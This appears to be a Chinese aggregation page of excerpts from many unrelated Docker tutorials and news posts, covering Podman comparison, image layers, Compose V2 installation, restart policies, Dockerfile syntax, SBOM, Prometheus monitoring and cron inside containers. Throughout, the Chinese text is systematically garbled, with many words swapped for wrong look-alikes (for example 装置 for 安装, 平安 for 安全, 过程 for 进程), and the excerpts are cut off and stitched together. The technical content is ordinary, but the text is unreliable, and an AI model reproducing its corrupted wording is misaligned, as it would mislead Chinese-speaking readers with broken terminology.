容器对有状态利用，例如数据存储利用是不敌对的，个别须要将数据与利用拆散，容器一旦关机，其中的数据可能会永恒隐没容器资源监控，云环境异常简单，因而须要深度监控平安问题Docker根底定义Docker是代表性的容器技术，其应用Google公司推出的Go语言进行开发实现，基于Linux内核提供的CGroups性能和Namespace，以及UnionFS等技术实现Docker技术最后齐全基于传统的LXC构建，然而后续又增加了容器构建，分层镜像以及镜像仓库等性能，这使得容器技术真正风行了起来Docker劣势Docker容器基于分层镜像运行，分层镜像能够实现文件共享，能够尽量升高磁盘用量，更快地实现镜像传输以及容器构建Docker容器基于开放式规范，可能在所有支流Linux版本、Microsoft Windows以及包含VM、裸机服务器和云在内的任何基础设施上运行Docker赋予利用的隔离性不仅限于彼此隔离，还独立于底层的基础设施。Docker默认提供最强的隔离，因而利用呈现问题，也只是单个容器的问题，而不会波及到整台机器Docker提供了丰盛的API，不仅能够在Shell环境下执行操作，也能够应用多种语言进行管制，比方docker-java、go-dockerclient等Docker劣势过程治理与传统的Linux容器不同，例如终止子过程之后，须要清理孙过程，而对于这类事件，传统 Linux 容器会自行处理。Docker的使用者能够在开始时更改配置文件和设置性能，从而打消这些顾虑容器化下，容器与宿主机共享内核，带来安全隐患在Docker中有些其它Linux子系统和设施未指定命名空间。比方SELinux、Cgroups以及/dev/sd*设施。这意味着，如果攻击者管制了这些子系统，主机也将不保Docker守护过程也可能成为安全隐患。为应用和运行Docker容器，须要应用Docker守护过程，来为容器提供继续运行时环境。而Docker守护过程须要root权限，Docker守护过程有被劫持攻打的危险 Docker守护程序绑定到Unix套接字而不是TCP端口。默认状况下，Unix套接字由root领有，而非用户只能通过sudo应用它。如果要以非root用户应用Docker，可参考非Root用户应用DockerPodman就不须要应用root权限的守护过程，因而绝对Docker更平安一些Docker应用场景面向产品：产品交付面向开发：简化环境配置面向测试：多版本测试面向运维：环境一致性、DevOps面向架构：自动化扩容（微服务）Docker与Podman自从Kubernetes发表不再反对Docker作为容器运行时后，Docker将要被Podman或者Containerd取代的声音就甚嚣尘上Podman能够治理和运行任何合乎OCI（Open Container Initiative）标准的容器和容器镜像。Podman提供了一个与Docker兼容的命令行前端来治理Docker镜像 Podman的命令行工具与Docker相似，比方构建镜像、启停容器等。甚至能够通过alias docker=podman能够进行替换。因而，即使应用了Podman，依然能够应用Docker.io作为镜像仓库，这也是兼容性最要害的局部二者的区别如下： Docker须要一个以root执行的守护过程维持运行，带来了安全隐患，Podman不须要守护程序，也不须要root用户运行，绝对平安在Docker的容器管理体系中，须要多个daemon能力调用到runC（下文有形容），而Podman间接调用runC，通过common这个守护过程作为容器过程的管理工具（不须要root权限） 在Podman体系中，有个称之为common的守护过程，其运行门路通常是/usr/libexec/podman/conmon，它是各个容器过程的父过程，每个容器各有一个，common的父过程则通常是1号过程。Podman中的common其实相当于Docker体系中的containerd-shimDocker基本概念镜像Docker镜像是一个非凡的文件系统，除了提供容器运行时所需的程序、库、资源、配置等文件外，还蕴含了一些为运行时筹备的一些配置参数（如匿名卷、环境变量、用户等）镜像的设计充分利用联结文件系统的技术，镜像的构建过程就是一层一层叠加文件系统的过程，最顶层的则是镜像运行时，容器外部能够看到的文件内容是镜像的分层文件系统层层叠加的成果 联结文件系统的具体实现包含UnionFS、aufs 、OverlayFS等等镜像构建时，会一层层构建，前一层是后一层的根底。每一层构建完就不会再产生扭转，后一层上的任何扭转只产生在本人这一层。 比方，删除前一层文件的操作，理论不是真的删除前一层的文件，而是仅在以后层标记为该文件已删除。在最终容器运行的时候，尽管不会看到这个文件，然而实际上该文件会始终追随镜像。因而，在构建镜像的时候，须要额定小心，每一层尽量只蕴含该层须要增加的货色，任何额定的货色应该在该层构建完结前清理掉。用户构建镜像（Dockerfile）的每一步操作都会构建一个新的层，因而反对在应用Dockerfile进行容器镜像构建时执行构建回滚，因而也能很好地反对应用Docker执行CI/CD时执行疾速版本回退为什么应用联结文件系统 应用联结文件系统的目标之一是使得镜像的构建能够复用之前的文件，增快构建的速度，同时能够反对镜像的自定义革新，即在原有镜像的根底之上加更多的层，实现镜像的自在定制构建多个容器能够共享同一个镜像的文件，缩小了容器的启动工夫与空间耗费能够对最顶层的可读写层（即容器运行时）的状态进行保留（docker commit产生容器的快照镜像），以实现复用对于镜像的构建，参考[Docker镜像构建]()容器镜像和容器在逻辑上的关系，就像是面向对象程序设计中的类和实例一样，镜像是动态的定义，容器是镜像运行时的实体容器的本质是宿主机上的过程，但与间接在宿主执行的过程不同，容器过程运行于属于本人的独立的命名空间容器在镜像的根底之上的运行实质上能够了解为在镜像的分层只读文件系统上增加了一个可写层，能够称之为容器的存储层，容器存储层的生存周期和容器一样，容器沦亡时，容器存储层也随之沦亡。因而，任何保留于容器存储层的信息都会随容器删除而失落在容器内对镜像文件的读写，是基于copy-on-write技术的 所谓的记录删除操作实际上就是对应的文件在容器层就不可见了越顶层的层优先级越高，这也就是为什么在以后层的批改，会笼罩下边的层的批改的以及所有的增删改查都要放到以后最上层进行操作的起因依照 Docker 最佳实际的要求，容器不应该向其存储层内写入任何数据 ，容器存储层要放弃无状态化。所有的文件写入操作，都应该应用数据卷（Volume）、或者绑定宿主目录，在这些地位的读写会跳过容器存储层，间接对宿主(或网络存储---比方ceph的rbd插件)产生读写，其性能和稳定性更高。数据卷的生存周期独立于容器，容器沦亡，数据卷不会沦亡。因而，应用数据卷后，容器能够随便删除，数据却不会失落 尽管容器的可读写层的生命周期比拟短，然而能够在应用容器时应用 docker commit 和 push 指令，保留这个被批改过的可读写层，并上传到 Docker Hub上，供其他人应用参考[容器的长久化计划]()除了顶层的可读可写层以及底层的只读镜像层之外，还有一个非凡的层--init层，须要被读写，然而又不想被commit提交做增量批改的一个层就是init层（自身应该是只读的镜像层的一部分），专门用来寄存/etc/hosts等信息（启动容器时写入hostname） 容器的生命周期 created：初建状态 docker createrunning：运行状态 docker start或者是docker run 容器启动时的后盾逻辑是怎么的？ docker客户端执行命令，命令通过Unix套接字或者tcp链接的形式申请到docker daemon（也就是dockerd过程）dockerd过程通过gRpc向containerd这个规范层发出请求，申请创立一个容器containerd首先判断本地仓库是否有对应的镜像，如果有间接用该镜像创立容器，没有的话，须要先拉取镜像创立一个dockerd-shim过程，并以此过程为父过程创立runc过程运行一个容器过程 容器过程应用namespace进行资源命名空间的限度；应用cgroup实现资源的调配与审计容器过程须要挂载对应的联结文件系统（privot_root），也就是镜像层下面加一层可写层如果应用的默认的桥接网络的话，会从网桥的子网IP中抉择未应用的IP进行调配stopped：进行状态 docker stop 通过 docker stop 进行容器，其原理是给运行中的容器发 sigterm 信号，如果容器为1号过程承受并解决sigterm，则期待1号过程处理完毕后就退出，如果期待一段时间后还是没有解决，则会通过发送sigkill命令强制终止容器paused：暂停状态 docker pausedeleted：删除状态 docker rm仓库一个集中的存储、散发镜像的服务，Docker Registry 、Docker Hub就是这样的服务应用镜像的标签（tag）进行镜像的版本治理能够应用官网的镜像仓库Docker Hub，或者国内的一些同步的镜像仓库，也能够本人搭建Docker Registry服务，能够联合Docker Auth与keycloak等来执行访问控制与用户管制，参考公有仓库部署Docker的底层逻辑虚拟化技术虚拟化技术是一种资源管理技术，是将计算机的各种实体资源)（CPU、内存、磁盘空间、网络适配器等），予以形象、转换后出现进去并可供宰割、组合为一个或多个电脑配置环境。由此，突破实体构造间的不可切割的阻碍，使用户能够比本来的配置更好的形式来利用这些电脑硬件资源。这些资源的新虚构局部是不受现有资源的架设形式，地区或物理配置所限度。个别所指的虚拟化资源包含计算能力和数据存储 ...

Compose V2 我的项目启动于2021年6月，直到2022年4月26号，公布了GA版本。在公布GA版本后，社区也发表对于Compose V1将不会再进行性能更新，将在6个月后完结生命周期（EOL），期间会进行要害的平安和谬误修复。 V1与V2的兼容比照确保 V1 和 V2 之间的兼容性对于日常工作流程至关重要，上面是V2中两个要害的更改 更改潜在影响迁徙V2原生反对BuildKit，并且默认开启开发者在V2中将默认应用BuildKit进行镜像构建可通过设置环境变量不应用 DOCKER_BUILDKIT=0容器名字中应用 - 代替了 _ 作为分隔符如果在脚本中应用了容器名字，这可能会导致谬误能够通过 "--compatibility" 标记来敞开此更改对于更多的兼容性更改，请查看兼容性文档 如何装置Compose V2Windows，MacOS和Linux上应用Docker Desktop，就自带了Compose V2，可通过命令 docker compose 执行。也能够通过配置“Use Docker Compose V2“来设置 docker-compose 别名到 docker compose。 如果没有应用Docker Desktop for Linux，而是间接应用的Docker Engine，则须要额定装置 docker-compose-plugin 或者独立的二进制包。 例如对于Ubuntu,能够通过Docker官网的APT源间接装置 ❯ sudo apt update❯ sudo apt install docker-compose-plugin其余Linux, 例如在我的 openSUSE 上，通过手动从Github下载二进制文件进行装置（留神抉择版本和平台架构） ❯ DOCKER_CONFIG=${DOCKER_CONFIG:-$HOME/.docker}❯ mkdir -p $DOCKER_CONFIG/cli-plugins❯ wget https://github.com/docker/compose/releases/download/v2.6.0/docker-compose-linux-x86_64❯ mv docker-compose-linux-x86_64 $DOCKER_CONFIG/cli-plugins/docker-compose❯ chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose执行一下命令测试 ❯ docker compose versionDocker Compose version 2.6.0更多装置形式，请查看官网文档。 ...

因为在这段时间里，总是须要为我的项目更换新的服务器，每次手动配置django环境曾经是纯熟得不要不要了。只管曾经达到一个相当纯熟的状态，整个我的项目在全新的服务器中部署下来还是须要一两个小时，而且都是重复性的劳动，为了更好地迁徙我的项目，我抉择尝试用docker和docker-compose来创立和启动容器，实现尽可能不便地一键式部署。 在理论的生产中，一个我的项目须要定义数量总多的docker容器，并且容器之间有着盘根错节的依赖关系，手动创立和配置简单的容器关系，效率会很低下。docker-compose能够定义容器集群编排，能够在不同的服务器上一键式复用配置。 1. ubuntu装置dockerubuntu中自带了低版本的docker，须要先卸载旧版本，再装置最新的版本 # 卸载旧版本apt-get remove docker docker-engine docker.io containerd runc# 装置依赖apt updateapt-get install ca-certificates curl gnupg lsb-release# 装置GPG证书curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -# 写入软件源add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"# 装置新版本apt-get install docker-ce docker-ce-cli containerd.io在装置后须要对docker进行换源，应用国内镜像源进步下载速度 vim /etc/docker/daemon.json # 未配置过期，该文件不存在，往其中退出上面内容# 退出内容{ "registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]}# 重启docker，让其失效systemctl restart docker最初能够通过上面命令判断是否批改胜利 docker info | grep -i Mirrors -A 1输入后果里有退出的镜像源，即批改胜利 2.docker-compose装置 # 下载docker-compose curl -L https://github.com/docker/compose/releases/download/1.17.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose # 减少执行权限 sudo chmod +x /usr/local/bin/docker-compose # 查看是否装置胜利 docker-compose --version3.docker-compose在我应用的我的项目中应用django+uwsgi+nginx+mysql，在我的项目中编排了3个容器： ...

应用重启策略要为容器配置重启策略，请应用 --restart旗号 应用时 docker run命令。 的价值 --restart标记能够是 以下任何一项： 旗号形容no不要主动重启容器。 （默认）on-failure[:max-retries]如果容器因谬误退出，则重新启动容器，这体现为非零退出代码。 （可选）限度 Docker 守护过程尝试应用 :max-retries选项。always如果容器进行，请始终重新启动容器。 如果是手动进行的，只有在 Docker daemon 重启或者容器自身手动重启时才会重启。 中列出的第二个我的项目符号 重启策略详细信息 ）unless-stopped如同 always，除了当容器进行（手动或其余形式）时，即便在 Docker 守护程序重新启动后也不会重新启动。以下示例启动一个 Redis 容器并将其配置为始终 除非它被显式进行或 Docker 重新启动，否则重新启动。 docker run -d --restart unless-stopped redis查看 docker 容器以后的重启策略？ 如何 docker 容器以后的 restart 重启策略是 always 还是 no？应用 docker inspect {container_name} 命令，查看 RestartPolicy 配置项：

原文由花菜发表于TesterHome社区，点击原文链接可与作者间接交换。背景在压测时，应用locust + boomer，须要配置python和go环境，略微有点麻烦。每次接口压测，都须要手动编写go脚本。因而想做对boomer做一个封装，能够疾速的实现这些需要，须要反对单接口 + 动静读取csv，curl命令 启动Locust-master# run locust masterdocker run --name locust-master -it -d -p 8089:8089 -p 5557:5557 rikasai/locust-master:latestBoomer调试模式启动boomer$ docker run rikasai/boomer:latest --run-tasks worker -master-host=10.0.20.16 --url='http://httpbin.org/post' --method=POST --content-type="application/json" --raw-data='{"ids": [123,234]}'--verbose 12022/05/17 13:30:44 /usr/src/app/boomer_fasthttp.go:295: Fasthttp is running with these args:method: POSTurl: http://httpbin.org/posttimeout: 10spost-file:raw-data: {"ids": [123,234]}replace-str-index:json-value-type:content-type: application/jsondisable-keepalive: falseremove-json-string-backslash: trueverbose: true2022/05/17 13:30:44 /go/pkg/mod/github.com/myzhan/boomer@v1.6.0/boomer.go:214: Running worker2022/05/17 13:30:44 /usr/src/app/boomer_fasthttp.go:211: resp: { "args": {}, "data": "{\"ids\": [123,234]}", "files": {}, "form": {}, "headers": { "Content-Length": "18", "Content-Type": "application/json", "Host": "httpbin.org", "User-Agent": "fasthttp", "X-Amzn-Trace-Id": "Root=1-6283a384-7d87389417a84df642d87a91" }, "json": { "ids": [ 123, 234 ] }, "url": "http://httpbin.org/post"}参数阐明 ...

Docker 基本概念Windows 装置 Docker下载注册关上CMD或Powershell就能够欢快的游玩Docker了 Ubuntu 装置 Docker// Ubuntu 自带docker.io源sudo apt install docker.io -y常用命令// 根本docker version // 查看版本详情docker -v // 查看版本简略版// 搜寻docker search ubuntu// 拉取docker pull ubuntu:latest // tag：最新版docker images // 查看本地镜像// 创立(相似装置零碎)docker run -it -p 8080:8080 ubuntu /bin/bash // -it示意关上并放弃stdout，并调配一个终端（pseudo-tty）docker run -d -p 80:80 --name [myname] nginx// 退出exit // 容器敞开，状态为：Exit快捷键 ctrl+p ctrl+q // 后盾运行，状态为：Updocker ps -a // 查看状态// 操作容器docker start CONTAINERID // 启动docker stop CONTAINERID // 进行docker restart CONTAINERID // 重启docker attach CONTAINERID // 进入docker exec -it CONTAINERID /bin/bash // 进入（如创立时未it）// 提交镜像到本地仓库docker commit -m "msg" -a "Author" CONTAINERID 用户名/仓库名:tag// 删除镜像docker rm CONTAINERID // 必须先删除所有容器docker rmi IMAGESID // 接着删除镜像// 提交镜像到hubdocker push 用户名/仓库名:tagDockerfile罕用参数FROM // 指定构建镜像的根底源镜像MAINTAINER // 维护者的信息RUN // 在以后镜像根底上执行指定命令CMD // 启动容器时提供一个默认的命令执行选项EXPOSE // 服务端容器对外映射的本地端口ENV // 指定一个环节变量，会被后续RUN指令应用，并在容器运行时保留ADD // 复制本地主机文件、目录或者近程文件URLS从并且增加到容器指定门路中，反对正则含糊匹配COPY // 复制新文件或者目录从并且增加到容器指定门路中 VOLUME // 创立一个能够从本地主机或其余容器挂载的挂载点WORKDIR // 为后续的RUN、CMD、ENTRYPOINT指令配置工作目录。能够使 用多个WORKDIR指令，后续命令如果参数是相对路径，则会基于之前命令指 定的门路// 构建镜像docker build -t name 目录 // 当前目录用`.`示意WSL相干问题关上PowerShell,运行： ...

问题在一个 python 镜像中, 要用到 pip install -r requirements FROM python:3.7WORKDIR /codeEXPOSE 80COPY ./code/requirements.txt requirements.txtRUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simpleCMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:80", "wsgi:app"]然而在构建镜像的过程中, 失常状况下, docker 会将容器内所有信息打印进去. 但 build 过程中, docker 容器非正常退出. 错误信息没有报进去 说实话, 很形象. 仅有return code 137 哪怕镜像没有构建实现, 能够通过 docker ps -a 查看镜像构建时的退出码 但无奈应用 docker logs 命令查看尚未构建好的镜像的日志 按情理而言, 若 pip 命令出错, docker build 会将错误信息打印进去. 但 killed 示意 docker 容器是非正常退出. 而该 return code 137 有很多种起因呈现 ...

本篇文章将分享如何通过 Docker 来在本地疾速运行 Hugging Face 上的乏味模型。用比原我的项目更少的代码，和更短的工夫老本将模型跑起来。 如果你相熟 Python，那么绝大多数的模型我的项目，都能够用 10 分钟左右的工夫，实现本地的部署和运行。 写在后面为了不便展现，我抉择了一个图像处理模型。在聊细节之前，让咱们来一起看看这个模型我的项目的理论运行成果吧。 下面的图片解决所应用的 AI 模型，是我在 Hugging Face 上找到的。随着 Hugging Face 的爆火，平台上呈现了越来越多的乏味的模型和数据集，目前仅模型数量就高达 4 万 5 千多个。 这些模型有一个乏味的特点，在云平台上跑的好好的，然而一旦想在本地跑起来就得各种“吃力”折腾，我的项目关联的 GitHub 中总是能看到用户反馈：这个模型和代码，我本地跑不起来，运行环境和调用代码搞起来太麻烦了。 其实在日常的工作和学习中，咱们也会常常遇到相似下面 Hugging Face 的状况：许多模型在“云上”跑的好好的，然而一到本地就跑不起来了，这或者是因为“操作系统环境、设施 CPU 架构（x86/ ARM）差别”、或者是因为“Python 运行时版本过高或过低”、或者是因为“某个 PIP 装置的软件包版本不对”、“简短的示例代码中写死了一堆货色”... 那么，有没有什么偷懒的办法，能够让咱们绕开这些浪费时间的问题呢？ 在通过了一番折腾之后，我摸索出了一个绝对靠谱的计划：用 Docker 容器搭配 Towhee，制作模型的一键运行环境。 譬如本文结尾提到的这个模型，如果咱们想进行疾速调用，针对咱们的图片进行一个疾速修复解决，真的并不难：只须要一条 docker run 命令，搭配二、三十来行 Python 代码即可。 接下来，我就以腾讯 ARC 实验室开源的 GFPGAN 模型为例，来聊聊如何疾速的把网上凋谢的模型疾速的跑起来。 因为该模型基于 PyTorch，所以本篇文章里，咱们先聊聊如何制作基于 PyTorch 的模型应用的通用 Docker 根底镜像。如果同学们有需要，我就再聊聊其余模型框架。 制作 PyTorch 模型应用的通用 Docker 根底镜像本章节的残缺示例代码，我曾经上传到了 GitHub：https://github.com/soulteary/docker-pytorch-playground，感兴趣的同学能够自取。如果你想进一步省事，还能够间接应用我曾经构建好的镜像，来作为根底镜像应用：https://hub.docker.com/r/soulteary/docker-pytorch-playground 。 ...

想必Docker这个词大家都不生疏，是一个十分优良的虚拟化容器。 我的博客 怎么把Java利用打包成Docker镜像？对相熟Docker的同学这应该是一个很简略的问题，把我的项目打包成JAR包而后在Dockerfile里用ADD命令把JAR文件放到镜像里，启动命令设置执行这个JAR文件即可。 可是对于不懂Java的，听起来貌似并不是那么简略。 在这之前，咱们先理解理解什么是：Dockerfile。 DockerfileDockerfile 是一个用来构建镜像的文本文件，文本内容蕴含了一条条构建镜像所需的指令和阐明。 比方一个应用Maven构建的Spring利用就能够用上面这个Dockerfile构建镜像。  FROM openjdk:8-jre ADD target/*.jar /application.jar ENTRYPOINT ["java", "-jar","/application.jar"]咦？这是啥语言，也没见过啊？这个其实是dockerfile的指令。 下面这个Dockerfile的指令很好了解，应用Maven构建的Java我的项目的目录构造对立是：  project │   pom.xml └───src // 源文件目录 │   │ │   └───main │       │    │       └───java │        └───target // class和jar文件的目录用mvn clean package打包后会把JAR文件生成在target目录里，通过java -jar命令即可执行编译好的程序。 所以下面的Dockerfile里就进行了把JAR从target目录里增加到Docker镜像中以及将jar -jar /application.jar 设置成容器的启动命令这两步操作。 不过除了这种最原始的办法外咱们还能够应用Maven的一些插件，或者Docker的多阶段打包性能来实现把Java利用打包成Docker镜像的动作。 Maven插件构建镜像Spotify公司的dockerfile-maven-plugin和Google公司出品的jib-maven-plugin是两款比拟有名的插件，上面简略介绍一下dockerfile-maven-plugin的配置和应用。 其实应用办法很简略，咱们在POM文件里引入这个plugin，并联合下面那个Dockerfile就能让插件帮忙咱们实现利用镜像的打包。  <groupId>com.example</groupId>     <artifactId>hello-spring</artifactId>     <version>0.0.1-SNAPSHOT</version>     <name>helloworld</name> <plugin>  <groupId>com.spotify</groupId>  <artifactId>dockerfile-maven-plugin</artifactId>  <version>1.4.10</version>  <executions>   <execution>   <id>default</id>       <goals>         <goal>build</goal>         <goal>push</goal>       </goals>     </execution>   </executions>   <configuration>     <repository>${docker.registry.url}/${image.prefix}/${artifactId}</repository>     <tag>${project.version}</tag>     <buildArgs>       <JAR_FILE>${project.build.finalName}.jar</JAR_FILE>     </buildArgs>   </configuration> </plugin>插件里应用的docker.registry.url和image.prefix是我独自为Docker的镜像仓库设置的属性。 ...

在近日的 DockerCon 2022 上，Docker 官网发表了一个好消息 —— Docker Desktop for Linux 正式公布！这意味着 Docker Desktop 当初已正式面向 Linux 用户！ Docker Desktop for Linux 的公布，给应用 Linux 工作站的开发者们带来了 Docker Desktop 的生产力劣势。要晓得，在这之前，Docker Desktop 仅实用于 Mac 和 Windows 工作站的用户。 Docker Desktop for Linux当初，Linux 桌面环境开发者及用户们曾经能够在 Linux 上应用 Docker Desktop 来无缝创立容器，且有着在 macOS 和 Windows 上完全相同的 Docker Desktop 体验，包含拜访 Docker Extensions 等最新性能。 Docker Desktop 可用于 Debian、Ubuntu 和 Fedora，且对 Arch Linux 提供了实验性反对。 Docker Desktop for Linux 预装了 Docker Compose、Docker CLI 和 Kubernetes 等工具，简化了该工具的装置和更新过程。 ...

原文地址操作步骤如下 敞开dockersystemctl stop dokcer批改配置文件地位个别是： /var/lib/docker/containers/containerId/hostconfig.json须要批改的值： "PortBindings":{"3306/tcp":[{"HostIp":"","HostPort":"3307"}]}其中后面的端口是容器外部端口，前面的端口是宿主端口 启动dokcersystemctl start docker

在上个月公布的Docker Desktop v4.7.0中，减少了一个新的CLI插件-docker/sbom-cli-plugin，其为Docker CLI减少了一个子命令 - sbom，用于查看Docker容器镜像的软件物料清单（SBOM)。 什么是SBOM？首先介绍下什么是SBOM（Software Bill of Materials），咱们称之为软件物料清单，是软件供应链中的术语。软件供应链是用于构建软件应用程序（软件产品）的组件、库和工具的列表，而物料清单则声明这些组件、库的清单，相似于食品的配料清单。软件物料清单能够帮忙组织或者集体防止应用有安全漏洞的软件。 DOCKER SBOM命令留神: 从Docker Desktop 4.7.0版本开始到当初，docker sbom 命令还是实验性的，该性能兴许会在当前版本中删除和更改，以后Linux的Docker CLI还未蕴含该子命令。 docker sbom 命令用于生产一个容器镜像的软件物料清单（SBOM） WSL - mengz  docker sbom --helpUsage: docker sbom [OPTIONS] COMMANDView the packaged-based Software Bill Of Materials (SBOM) for an image.EXPERIMENTAL: The flags and outputs of this command may change. Leave feedback on https://github.com/docker/sbom-cli-plugin.Examples: docker sbom alpine:latest a summary of discovered packages docker sbom alpine:latest --format syft-json show all possible cataloging details docker sbom alpine:latest --output sbom.txt write report output to a file docker sbom alpine:latest --exclude /lib --exclude '**/*.db' ignore one or more paths/globs in the imageOptions: -D, --debug show debug logging --exclude stringArray exclude paths from being scanned using a glob expression --format string report output format, options=[syft-json cyclonedx-xml cyclonedx-json github-0-json spdx-tag-value spdx-json table text] (default "table") --layers string [experimental] selection of layers to catalog, options=[squashed all] (default "squashed") -o, --output string file to write the default report output to (default is STDOUT) --platform string an optional platform specifier for container image sources (e.g. 'linux/arm64', 'linux/arm64/v8', 'arm64', 'linux') --quiet suppress all non-report output -v, --version version for sbomCommands: version Show Docker sbom version informationRun 'docker sbom COMMAND --help' for more information on a command.从命令的帮忙信息中能够看到，除了间接生成表格模式的SBOM输入外，还反对应用--format指定多种类型的输入格局。 ...

在Docker v19.03版本之前，咱们能够应用DOCKER_HOST环境变量来配置和连贯近程Docker主机，自从Docker v19.03版本开始，Docker的命令行接口（CLI）减少了一个子命令 - context，用于治理docker客户端连贯多个上下文环境。 通过context命令，可通过配置SSH协定的上下文连贯并治理近程多个Docker主机，同时从一台装置了Docker CLI的机器导出上下文环境，并在另一台装置了Docker CLI的机器导入。 首先能够通过--help选项查看命令反对的子命令：  docker context --helpUsage: docker context COMMANDManage contextsCommands: create Create a context export Export a context to a tar or kubeconfig file import Import a context from a tar or zip file inspect Display detailed information on one or more contexts ls List contexts rm Remove one or more contexts update Update a context use Set the current docker contextRun 'docker context COMMAND --help' for more information on a command.这里将演示如何应用应用DOCKER_HOST环境变量的形式，以及context命令的形式来连贯近程Docker主机。 ...

1.下载镜像包 docker pull prom/node-exporterdocker pull prom/prometheusdocker pull grafana/grafana2.启动node-exporter docker run -d -p 9100:9100 \ -v "/proc:/host/proc:ro" \ -v "/sys:/host/sys:ro" \ -v "/:/rootfs:ro" \ --net="host" \ prom/node-exporter拜访url：http://192.168.91.132:9100/me... 这些都是收集到数据，有了它就能够做数据展现了. 3.启动prometheus新建目录prometheus，编辑配置文件prometheus.yml mkdir /opt/prometheuscd /opt/prometheus/vim prometheus.ymlglobal: scrape_interval: 60s evaluation_interval: 60s scrape_configs: - job_name: prometheus static_configs: - targets: ['localhost:9090'] labels: instance: prometheus - job_name: linux static_configs: - targets: ['192.168.91.132:9100'] labels: instance: localhost留神：批改IP地址，这里的192.168.91.132就是本机地址 启动prometheus docker run -d \ -p 9090:9090 \ -v /opt/prometheus/prometheus.yml:/etc/prometheus/prometheus.yml \ prom/prometheus拜访url：http://192.168.91.132:9090/graph ...

容器中运行定时工作背景想应用Docker容器中跑一个定时工作，于是有了本篇文章思路通过查问，有的帖子倡议应用宿主机执行定时的docker exec命令，然而这样感觉应用Docker的意义就不大了，还是把定时工作放在容器中比拟好因而间接在容器中应用cron执行定时工作，然而这其中的坑比拟多，特此记录操作submit.sh 要定时执行的脚本 #!/bin/bashecho "$(date): " >> /var/log/cron.log 2>&1/usr/local/bin/python /usr/src/app/submit_3chk.py >> /var/log/cron.log 2>&1留神在定时执行的脚本中的命令要应用绝对值指定可执行文件的地位cronfile 定时工作配置文件 13 8 * * * root /usr/src/app/submit.shcron工夫格局这里不再赘述每天的8:13应用root用户执行submit.sh脚本Dockerfile FROM python:3WORKDIR /usr/src/app# 装置依赖COPY . .RUN pip install --no-cache-dir -r requirements.txt# Install PipRUN apt updateRUN apt install -y cron# 设置定时脚本权限RUN chmod +x submit.sh# Add crontab file in the cron directoryADD cronfile /etc/cron.d/submit-cron# Give execution rights on the cron jobRUN chmod 0644 /etc/cron.d/submit-cron# Create the log file to be able to run tailRUN touch /var/log/cron.log# 更改时区RUN rm -rf /etc/localtimeRUN ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime# Run the command on container startupCMD cron && tail -f /var/log/cron.log外围步骤： ...

什么是容器？首先来看下什么是容器技术，容器是由英文 "Container" 翻译过去的，这个单词即有容器也有集装箱的意思，在这里其实更偏差于集装箱，这点也能够从Docker的Logo里看进去，不能说是毫无关系，能够说是一摸一样！咱们可能是因为好读所以才译为容器。 从集装箱的用处咱们能够形象的了解容器技术的场景。 集装箱的呈现大大降低了航运的运输成本，因为集装箱是固定规格，参差摆放，晋升了空间利用率。当你的货物有大有小，且随便摆放，这时候会有大量的空间会被节约，装卸货也很麻烦，就像下图这样： 有了集装箱之后，咱们能够把不同大小的货物都装进不同规格的集装箱，这些集装箱都是方的，能够拼接摆放，尽管单个集装箱内部空间利用率可能不高，然而整个船的空间利用率会晋升。 细一点的敌人可能会问，可不可以找几个比拟大的集装箱，而后大货物小货物一起放，大货物的间隙还能够放点小货物，极致利用资源这样不是更加节俭了空间？ 这就说到了集装箱的另一个作用：隔离 当咱们须要不同货物离开搁置，防止货物之间穿插净化，这样应用集装箱能够无效的隔离不同类型的货物，这一点在IT畛域更加实用，除了公司揭不开锅的状况下，生产环境咱们通常不会在同一台服务器部署多个服务，尽管混部能够更无效的利用服务器资源，然而给业务带来了危险。一个是隔离级别不够，防止服务之间相互影响，导致呈现对外不可用的状况，还有一个是资源不好评估，因为依照固定规格来评估服务部署数量是比拟精确的，尽管服务器大部分工夫在空跑，会造成比拟大的节约。但如果混部的话，同一台机器上服务和服务之间的峰值以及不同服务的业务高峰期均无奈精确评估，也就无奈评估出须要多少台机器，更别说后续的扩缩容了，如果你须要同时部署很多个服务，那么多个服务所在的机器治理也是一件相当麻烦的事件。 有了下面集装箱的例子，让再来看下IT畛域的容器技术是什么？ 容器就好比集装箱，操作系统就好比轮船，而咱们的服务就是货物，咱们须要应用容器来规格化服务的资源应用，如限度只应用固定大小的CPU、内存等，同时容器要能把服务隔离起来，不被外界任何过程所烦扰。当然容器的翻新并不仅仅是在实现一个集装箱上，还包含如何主动治理和出现上万个这样的箱子，这才是问题的要害。 容器的核心技术就两点： 通过隔离保障各个服务之间不相互影响，这是通过内核提供的Namespace技术实现的一个障眼法，不同容器之间、容器和宿主机之间不可见。通过限度不同容器的资源(CPU、内存等)应用，来进步硬件的使用率，这是应用内核Cgroup技术来做资源限度，保障单个容器应用资源不会占有其余容器资源，也不会占用宿主机上其余过程资源。所以说容器其实就是Linux几个内核技术的组合，前面会独自讲这几个技术原理。 什么是Docker？那什么是Docker呢？ 首先Docker不等同于容器，容器的历史要比Docker长得多，以下是容器的历史倒退图： 能够看到，Docker只是容器技术的一个集大成者！它也是通过内核的Namespace和Cgroup来实现的资源隔离，然而齐全能够说是Docker一己之力推动了容器的大规模推广和应用，那么Docker为什么能火爆呢？ 1. 解决了利用移植过程中环境一致性问题，提供标准化的软件打包、散发的能力就像Docker的Slogan说的: Build, Ship, and Run Any App, Anywhere ! Docker解决了如何让利用从一个软件环境转移到另一个软件环境时牢靠运行的问题。可能是从开发者的笔记本到测试环境，从预公布环境到生产环境，也可能是从IDC的物理机到云上的虚拟机。 当利用反对的软件环境不雷同时，就可能会呈现问题。比方应用 Python 3 进行开发，而生产环境中只有Python 2.7 ，家喻户晓py2和py3是两种语言，大概率是跑不了了。又或者是利用依赖于第三方库，而不同环境的第三方库版本不统一，不兼容的话就很容易导致呈现Crash。除了开发因素外，根底的运行环境和组件，比方网络拓扑、存储、安全策略都有可能随时发生变化，集群迁徙是一件很失常的事件。 而Docker创新性的解决了这个问题，它通过定义一个容器镜像，实质上是一个容器的快照，来记录启动一个容器所须要的根本信息：程序、库、资源、配置等。同时开发人员还能够应用容器镜像公共存储仓库比方Docker Hub 